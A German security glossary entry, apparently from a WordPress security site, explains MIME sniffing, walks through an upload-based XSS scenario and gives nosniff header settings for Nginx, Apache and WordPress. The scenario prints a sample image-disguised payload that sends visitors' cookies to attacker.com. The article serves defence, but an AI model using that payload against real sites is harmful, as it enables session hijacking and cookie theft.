MIME-Sniffing
Verhalten älterer Browser, den tatsächlichen Inhaltstyp einer Datei anhand ihres Inhalts zu erraten statt dem vom Server deklarierten Content-Type zu vertrauen — ein ausnutzbarer Sicherheitsmangel.
Aktualisiert: 23. Februar 2026
Was ist MIME-Sniffing?
MIME-Sniffing bezeichnet das Verhalten von Browsern, den Dateityp einer heruntergeladenen Ressource anhand ihrer tatsächlichen Inhalte zu bestimmen — und dabei den vom Server deklarierten Content-Type-Header zu ignorieren oder zu überschreiben. MIME steht für Multipurpose Internet Mail Extensions, das System zur Deklaration von Dateitypen (z.B. text/html, image/jpeg, application/javascript).
Das Problem: Wenn ein Angreifer eine Datei hochladen kann, die scheinbar eine harmlose Bilddatei ist, tatsächlich aber JavaScript-Code enthält, kann ein sniffender Browser diese Datei als Script interpretieren und ausführen — selbst wenn der Server sie korrekt als image/jpeg deklariert. Damit wird MIME-Sniffing zu einem Einfallstor für XSS-Angriffe über Datei-Upload-Funktionen.
Kurzprofil MIME-Sniffing
- Typ: Sicherheitsschwäche (Browser-Verhalten) / Angriffsvorbereitung
- Bedrohungsklasse: OWASP A05:2021 – Security Misconfiguration
- Betroffene Systeme: Webseiten mit Datei-Upload, alle Web-Applikationen
- Schweregrad: Mittel (als Teil einer XSS-Angriffskette: Hoch)
- Gegenmaßnahme:
X-Content-Type-Options: nosniffHTTP-Header
Wie funktioniert MIME-Sniffing?
Browser wurden historisch so entwickelt, dass sie mit fehlerhaft konfigurierten Webservern umgehen können. Ein Server, der eine HTML-Seite mit Content-Type: text/plain ausliefert, würde ohne Sniffing nur als Klartext angezeigt. Mit Sniffing erkennt der Browser die HTML-Struktur und rendert die Seite korrekt. Diese "Hilfsbereitschaft" wurde zum Sicherheitsproblem.
Angriffs-Szenario Schritt für Schritt:
- Eine WordPress-Website erlaubt Benutzern, Profilbilder hochzuladen
- Ein Angreifer lädt eine Datei mit der Endung
.jpghoch, die tatsächlich JavaScript-Code enthält:
FF D8 FF E0 (JPEG Magic Bytes — MIME-Sniffing-Bypass)
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
- Der Server speichert die Datei und liefert sie mit
Content-Type: image/jpegaus - Ein vulnerabler Browser ignoriert den Header, erkennt den Script-Code und führt ihn aus
- Das Session-Cookie des Besuchers wird an den Angreifer-Server übermittelt
Der X-Content-Type-Options: nosniff Header weist den Browser an, dem deklarierten Content-Type-Header zu vertrauen und kein Sniffing durchzuführen. Ein Browser, der diesen Header empfängt und eine Ressource als image/jpeg deklariert sieht, wird diese Ressource niemals als Script ausführen — egal was sie enthält.
Die MIME-Sniffing-Spezifikation ist Teil des WHATWG-Standards und beschreibt exakt, wie Sniffing funktioniert und wann nosniff es unterbindet.
MIME-Sniffing in der WordPress-Praxis
WordPress verarbeitet täglich Millionen von Datei-Uploads. Die Angriffsfläche ist real:
Betroffene WordPress-Funktionen:
- Medien-Bibliothek (Bild-Uploads)
- Plugin-eigene Upload-Formulare
- WooCommerce Produktbilder und Downloads
- Formular-Plugins mit Dateianhang-Funktion
WordPress selbst prüft Datei-Uploads auf erlaubte Typen und MIME-Typen — aber diese Überprüfungen können durch doppelte Dateiendungen, manipulierte Magic Bytes oder Plugin-Fehler umgangen werden. Der nosniff-Header ist eine wichtige zusätzliche Verteidigungslinie.
Header setzen in Nginx:
add_header X-Content-Type-Options "nosniff";
Header setzen in Apache (.htaccess):
Header always set X-Content-Type-Options "nosniff"
Header setzen per WordPress (functions.php oder Plugin):
function beast_security_headers() {
header('X-Content-Type-Options: nosniff');
}
add_action('send_headers', 'beast_security_headers');
Schutz gegen MIME-Sniffing
X-Content-Type-Options: nosniffHTTP-Header auf allen Responses setzen- Korrekten
Content-Typefür alle Ressourcen setzen (Server-Konfiguration) - Datei-Upload-Funktion serverseitig absichern: erlaubte MIME-Typen whitelist-basiert validieren
- Upload-Verzeichnisse so konfigurieren, dass PHP-Ausführung darin deaktiviert ist
- Hochgeladene Dateien unter einem separaten Domain/Subdomain ausliefern (z.B.
static.example.com)
Die letzte Maßnahme — Auslieferung von Uploads über eine separate Domain — ist besonders wirksam: Selbst wenn ein hochgeladenes Script ausgeführt wird, hat es keinen Zugriff auf Cookies der Hauptdomain, da Browser die Same-Origin-Policy durchsetzen.
Was passiert bei einem erfolgreichen MIME-Sniffing-Angriff?
Ein erfolgreicher MIME-Sniffing-basierter Angriff ermöglicht typischerweise Cross-Site Scripting über einen indirekten Weg: Der Angreifer hat keinen direkten XSS-Einstiegspunkt (Kommentarfeld o.ä.), nutzt aber die Datei-Upload-Funktion als Vehikel. Das Ergebnis ist dasselbe wie bei direktem XSS: Session-Hijacking, Phishing-Overlays, Keylogging, Weiterleitung auf Malware-Seiten.
Historisch waren vor allem ältere Versionen des Internet Explorer für aggressives MIME-Sniffing bekannt. Moderne Browser (Chrome, Firefox, Safari) haben das Verhalten eingeschränkt, unterstützen aber weiterhin nosniff für maximale Sicherheit. Das Header-Setzen bleibt auch 2026 eine empfohlene Best Practice.
Häufige Fragen
Betrifft MIME-Sniffing nur ältere Browser?
Das aggressivste Sniffing-Verhalten ist historisch mit dem Internet Explorer verbunden. Moderne Browser sniffing weniger aggressiv, aber der X-Content-Type-Options: nosniff-Header ist weiterhin relevante Best Practice und wird von Chrome, Firefox und Safari respektiert. Er schadet nicht und ist leicht zu implementieren.
Reicht es, Datei-Uploads serverseitig zu validieren?
Server-seitige Validierung ist notwendig, aber nicht hinreichend. MIME-Typen lassen sich fälschen, Magic Bytes können manipuliert werden, und Bibliotheken zur MIME-Erkennung haben historisch Fehler gehabt. nosniff als Defense-in-Depth-Maßnahme gehört trotzdem gesetzt.
Was ist der Zusammenhang zwischen MIME-Sniffing und Content-Security-Policy?
Beides sind komplementäre Schutzmaßnahmen: nosniff verhindert, dass der Browser den Content-Type einer Ressource falsch interpretiert. Content-Security-Policy verhindert, dass Scripts von unerlaubten Quellen überhaupt ausgeführt werden. Zusammen ergeben sie eine robuste Verteidigung gegen Content-Injection-Angriffe.